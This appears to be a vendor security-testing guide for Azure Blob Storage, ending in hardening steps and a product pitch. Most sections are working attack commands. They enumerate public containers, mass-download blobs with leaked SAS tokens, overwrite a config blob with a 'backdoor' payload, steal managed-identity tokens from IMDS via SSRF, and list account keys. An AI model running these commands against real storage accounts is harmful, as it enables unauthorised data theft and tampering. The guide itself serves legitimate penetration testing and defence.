Azure Blob Storage Security Testing: Misconfiguration, SAS Token Exploitation, and Access Control Bypass

Azure Blob Storage is where sensitive data lives — backups, logs, user uploads, application configs, and secrets. Misconfigurations range from publicly accessible containers to over-privileged SAS tokens stored in source code. This guide covers systematic Azure Blob Storage security testing: discovering public containers, exploiting SAS token parameter tampering, exfiltrating storage account keys, bypassing ADLS Gen2 ACLs, and abusing managed identities for storage access escalation.

Table of Contents

  1. Azure Blob Storage Attack Surface
  2. Public Container Enumeration
  3. SAS Token Exploitation
  4. Storage Account Key Theft
  5. Managed Identity Abuse
  6. ADLS Gen2 ACL Bypass
  7. Static Website Misconfiguration
  8. Azure Storage Hardening

Azure Blob Storage Attack Surface

ComponentMisconfigurationImpact
Container access levelPublic Blob or Public ContainerUnauthenticated read of all blobs
SAS tokensOverly permissive, long-lived, leaked in codeFull storage read/write/delete
Storage Account KeysLeaked in app config, rotation disabledFull account access including all containers
Shared Key auth enabledCannot be disabled by defaultKey theft = full account takeover
ADLS Gen2 ACLsIncorrect ACL propagation, mask bypassUnauthorized data lake access
Static website hostingDirectory listing, sensitive files servedPII/config file exposure
Private endpoint not enforcedPublic internet access allowedWider attack surface, no VNet restriction

Public Container Enumeration

# Azure storage accounts are at: {account}.blob.core.windows.net
# Container access levels: Private (no anon), Blob (anon reads), Container (anon list+read)

# Check if a known container is publicly accessible
ACCOUNT="storageaccountname"
CONTAINER="container-name"
curl -s "https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container&comp=list" | \
  python3 -c "import sys; import xml.etree.ElementTree as ET; [print(b.find('Name').text) for b in ET.parse(sys.stdin).findall('.//Blob')]"

# If no blobs returned, check if container exists but is private:
curl -s -o /dev/null -w "%{http_code}" \
  "https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container"
# 404 = doesn't exist, 403 = exists but private, 200 = public container

# Enumerate common container names
common_containers="assets backups logs data images uploads files public configs exports reports"
for container in $common_containers; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://$ACCOUNT.blob.core.windows.net/$container?restype=container")
  echo "$container: HTTP $status"
done

# If container is public (200), list all blobs
curl -s "https://$ACCOUNT.blob.core.windows.net/public?restype=container&comp=list&maxresults=5000" | \
  python3 << 'EOF'
import sys
import xml.etree.ElementTree as ET

tree = ET.parse(sys.stdin)
root = tree.getroot()
blobs = root.findall('.//Blob')
print(f"Total blobs: {len(blobs)}")
for blob in blobs:
    name = blob.find('Name').text
    size = blob.find('Properties/Content-Length').text if blob.find('Properties/Content-Length') is not None else '?'
    print(f"  {name} ({size} bytes)")
EOF

Storage Account Discovery

# Method 1: Azure AD app registrations leak storage endpoints
# Check app config files in repositories for storage account names

# Method 2: DNS brute force for storage account names
# Azure storage uses predictable naming: companyname.blob.core.windows.net
for name in company company-prod company-backup company-logs companybackup companylogs; do
  result=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://$name.blob.core.windows.net/?comp=list")
  [[ "$result" != "404" ]] && echo "FOUND: $name.blob.core.windows.net ($result)"
done

# Method 3: TruffleHog / GitLeaks to find SAS tokens in repos
trufflehog git --repo https://github.com/target/repo --json 2>/dev/null | \
  python3 -c "import json,sys; [print(r.get('Raw','')[:100]) for r in (json.loads(l) for l in sys.stdin) if 'azure' in r.get('Raw','').lower() or 'blob' in r.get('Raw','').lower()]"

SAS Token Exploitation

Shared Access Signatures (SAS) are signed URLs that grant time-limited access to Azure Storage. Over-privileged or leaked SAS tokens are among the most common Azure storage vulnerabilities.

SAS Token Structure Analysis

# SAS token format:
# https://{account}.blob.core.windows.net/{container}/{blob}?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupiytfx&se=2027-01-01T00:00:00Z&st=2024-01-01T00:00:00Z&spr=https&sig=SIGNATURE

# Parameters:
# sp=  Signed permissions: r=read, w=write, d=delete, l=list, a=add, c=create, u=update, p=process
# se=  Signed expiry (how long it's valid)
# ss=  Signed service: b=blob, q=queue, t=table, f=file
# srt= Signed resource types: s=service, c=container, o=object
# spr= Signed protocol (https or http)

# Parse a SAS token
SAS_URL="https://myaccount.blob.core.windows.net/mycontainer?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupiytfx&se=2030-12-31T00:00:00Z&sig=XXX"
python3 << 'EOF'
from urllib.parse import urlparse, parse_qs
url = "https://myaccount.blob.core.windows.net/mycontainer?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupiytfx&se=2030-12-31T00:00:00Z&sig=XXX"
params = parse_qs(urlparse(url).query)
perm_map = {'r':'read','w':'write','d':'delete','l':'list','a':'add','c':'create','u':'update','p':'process','x':'execute'}
perms = [perm_map.get(c,c) for c in params.get('sp',[''])[0]]
print(f"Permissions: {', '.join(perms)}")
print(f"Expires: {params.get('se',['?'])[0]}")
print(f"Services: {params.get('ss',['?'])[0]}")
print(f"Resource types: {params.get('srt',['?'])[0]}")
if 'w' in params.get('sp',[''])[0] and 'd' in params.get('sp',[''])[0]:
    print("[!] CRITICAL: Token has write AND delete permissions")
if params.get('se',['2020'])[0] > '2026-12-31':
    print("[!] WARNING: Token valid for more than 1 year")
EOF

SAS Token Abuse Scenarios

# Scenario 1: List and download all blobs with a leaked SAS token
ACCOUNT="storageaccount"
CONTAINER="backups"
SAS="sv=2020-08-04&ss=b&srt=co&sp=rl&se=2027-01-01T00:00:00Z&sig=XXX"

# List blobs
curl -s "https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container&comp=list&$SAS" | \
  grep -oP '(?<=)[^<]+'

# Download all blobs
for blob in $(curl -s "https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container&comp=list&$SAS" | grep -oP '(?<=)[^<]+'); do
  curl -s -O "https://$ACCOUNT.blob.core.windows.net/$CONTAINER/$blob?$SAS"
  echo "Downloaded: $blob"
done

# Scenario 2: Overwrite blobs with write SAS token
SAS_WRITE="sv=2020-08-04&ss=b&srt=o&sp=rw&se=2027-01-01T00:00:00Z&sig=XXX"
# Inject malicious content into an existing blob (e.g., a config file)
curl -s -X PUT \
  "https://$ACCOUNT.blob.core.windows.net/$CONTAINER/config.json?$SAS_WRITE" \
  -H "x-ms-blob-type: BlockBlob" \
  -H "Content-Type: application/json" \
  -d '{"backdoor": "injected", "admin_override": true}'

# Scenario 3: Account-level SAS vs Service SAS vs User delegation SAS
# Account SAS: full account access, signed with storage account key
# Service SAS: single service (Blob/Queue/Table/File), signed with storage key
# User delegation SAS: signed with Entra ID (AAD) user creds — more secure
# If sp includes 'srt=s' (service level), you can list all containers:
curl -s "https://$ACCOUNT.blob.core.windows.net/?comp=list&$SAS"

Storage Account Key Theft

# Storage account keys provide full access to ALL data in the account
# Two keys exist (key1/key2) for rotation — both active simultaneously

# Method 1: Find keys in application config / environment variables
# Search code repositories
grep -rE "(AccountKey|storagekey|AZURE_STORAGE_KEY|DefaultEndpointsProtocol)" . \
  --include="*.env" --include="*.yaml" --include="*.json" --include="*.config"

# Method 2: Read key from Azure Key Vault (if misconfigured)
# If an identity has 'get' access to Key Vault secrets:
az keyvault secret show --vault-name target-vault --name storage-key

# Method 3: Extract from Azure Instance Metadata Service (IMDS) via SSRF
# If app has SSRF and runs in Azure:
# 1. Reach IMDS: curl "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"
# 2. Get managed identity token: curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" -H "Metadata: true"
# 3. Use token to access storage:
TOKEN="managed_identity_token_from_imds"
curl -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list" \
  -H "Authorization: Bearer $TOKEN" \
  -H "x-ms-date: $(date -u '+%a, %d %b %Y %H:%M:%S GMT')" \
  -H "x-ms-version: 2020-08-04"

# Method 4: Read keys via ARM API (if Azure role allows)
# Reader role on storage account does NOT give key access
# Requires "Microsoft.Storage/storageAccounts/listKeys/action" permission
az storage account keys list --account-name storageaccount --resource-group rg

Managed Identity Abuse

# Managed identities are the preferred auth method for Azure resources
# But overly permissive RBAC assignments on storage enable lateral movement

# From an Azure VM / App Service with managed identity:
# Get token for storage
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" \
  -H "Metadata: true" | python3 -c "import json,sys; t=json.load(sys.stdin); print(t.get('access_token','ERROR')[:50]+'...')"

# Use token to list all storage accounts in subscription (if Storage Reader)
TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")

SUBSCRIPTION="your-subscription-id"
curl -s "https://management.azure.com/subscriptions/$SUBSCRIPTION/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01" \
  -H "Authorization: Bearer $TOKEN" | \
  python3 -c "import json,sys; [print(a['name'], a['properties']['primaryEndpoints']['blob']) for a in json.load(sys.stdin)['value']]"

# Check current managed identity RBAC assignments
az role assignment list --assignee $(az vm show --name myvm --query "identity.principalId" -o tsv) \
  --all --query "[].{role:roleDefinitionName, scope:scope}" -o table

ADLS Gen2 ACL Bypass

Azure Data Lake Storage Gen2 overlays POSIX-style ACLs on top of Azure RBAC. ACL inheritance and mask calculations can leave unexpected access paths open.

# ADLS Gen2 uses both RBAC and POSIX ACLs
# Test ACL configuration for a data lake path

# List ACLs on a path
az storage fs access show \
  --account-name storageaccount \
  --file-system filesystem \
  --path /data/sensitive

# Check if default ACLs propagate correctly to new files
# Create a test file and check its inherited ACLs
az storage fs file create \
  --account-name storageaccount \
  --file-system filesystem \
  --path /data/sensitive/test.txt

az storage fs access show \
  --account-name storageaccount \
  --file-system filesystem \
  --path /data/sensitive/test.txt

# ACL mask bypass: the mask entry limits effective permissions for named users/groups
# If mask = rwx but named user = r-x → effective = r-x (mask doesn't limit)
# But if mask = r-- → even if named user = rwx, effective = r--
# Test by trying write as a named user identity

# Check if "Other" category has unexpected access
az storage fs access show --path / | python3 -c "
import json, sys
acl_str = json.load(sys.stdin)['acl']
entries = acl_str.split(',')
for entry in entries:
    parts = entry.split(':')
    if parts[0] == 'other' and 'r' in parts[-1]:
        print(f'[!] Other has read access: {entry}')
    if parts[0] == 'other' and 'w' in parts[-1]:
        print(f'[CRITICAL] Other has write access: {entry}')
"

Static Website Misconfiguration

# Azure Storage can serve static websites from $web container
# Vulnerable if: sensitive files in $web, directory traversal, or CORS misconfiguration

# Check CORS configuration
az storage cors list --services b --account-name storageaccount
# Dangerous: AllowedOrigins: *, AllowedMethods: GET,PUT,DELETE

# Test for directory listing (index.html missing → may expose directory contents)
curl -s "https://storageaccount.z6.web.core.windows.net/nonexistent-path/"
# 404 page content: if it exposes blob names, directory listing exists

# Check for sensitive files served directly
for path in ".env" "config.json" "appsettings.json" ".git/config" "web.config" "backup.sql"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://storageaccount.z6.web.core.windows.net/$path")
  echo "$path: $code"
done

# CORS misconfiguration allows cross-origin reads
# If CORS allows * with credentials, an attacker's site can fetch blobs
curl "https://storageaccount.blob.core.windows.net/public/data.json" \
  -H "Origin: https://evil.com" -I | grep -i "access-control"

Azure Storage Hardening

# 1. Disable anonymous (public) container access at account level
az storage account update \
  --name storageaccount \
  --resource-group rg \
  --allow-blob-public-access false

# 2. Disable shared key authorization (force Entra ID auth only)
az storage account update \
  --name storageaccount \
  --resource-group rg \
  --allow-shared-key-access false

# 3. Enforce HTTPS only
az storage account update \
  --name storageaccount \
  --resource-group rg \
  --https-only true

# 4. Enable Storage Firewall — restrict to specific VNets/IPs
az storage account network-rule add \
  --name storageaccount \
  --resource-group rg \
  --vnet-name myVNet \
  --subnet mySubnet

az storage account update \
  --name storageaccount \
  --resource-group rg \
  --default-action Deny

# 5. Enable soft delete and blob versioning (ransomware protection)
az storage blob service-properties delete-policy update \
  --account-name storageaccount \
  --enable true \
  --days-retained 30

# 6. Use User Delegation SAS instead of Account/Service SAS
# User delegation SAS is signed with Entra ID creds — revocable via identity
az storage fs generate-sas \
  --account-name storageaccount \
  --file-system myfs \
  --permissions rl \
  --expiry "2026-12-31T00:00:00Z" \
  --auth-mode login

# 7. Enable Microsoft Defender for Storage
az security pricing create \
  --name StorageAccounts \
  --tier Standard

# 8. Audit SAS token usage in Storage Analytics logs
az storage logging update \
  --account-name storageaccount \
  --log rwd \
  --retention 90 \
  --services b
Azure Storage Security Checklist: Disable public blob access at account level; disable shared key auth (enforce Entra ID only); rotate both storage keys regularly; audit all SAS tokens for over-privilege and long expiry; restrict network access via Storage Firewall; enable soft delete and versioning; enable Microsoft Defender for Storage; review ADLS Gen2 ACLs including mask and default entries; audit managed identity RBAC assignments for storage; enable storage access logging.
TestMethodRisk
Public container enumerationcurl ?restype=container to common namesCritical
SAS token permission auditParse sp, se, srt parametersCritical
Account key in code/configgrep for AccountKey/DefaultEndpointsProtocolCritical
Managed identity token abuseIMDS endpoint via SSRFHigh
ADLS ACL other:r accessaz storage fs access show /High
CORS wildcard originCheck CORS config for *High
Shared key auth enabledaz storage account show check propertiesHigh
Public internet access (no firewall)az storage account show network rulesMedium

Automate Azure Storage Security Testing

Ironimo automatically tests Azure Blob Storage for public containers, SAS token over-privilege, shared key access, network firewall gaps, and managed identity abuse paths — giving you a complete picture of your Azure storage attack surface.

Start free scan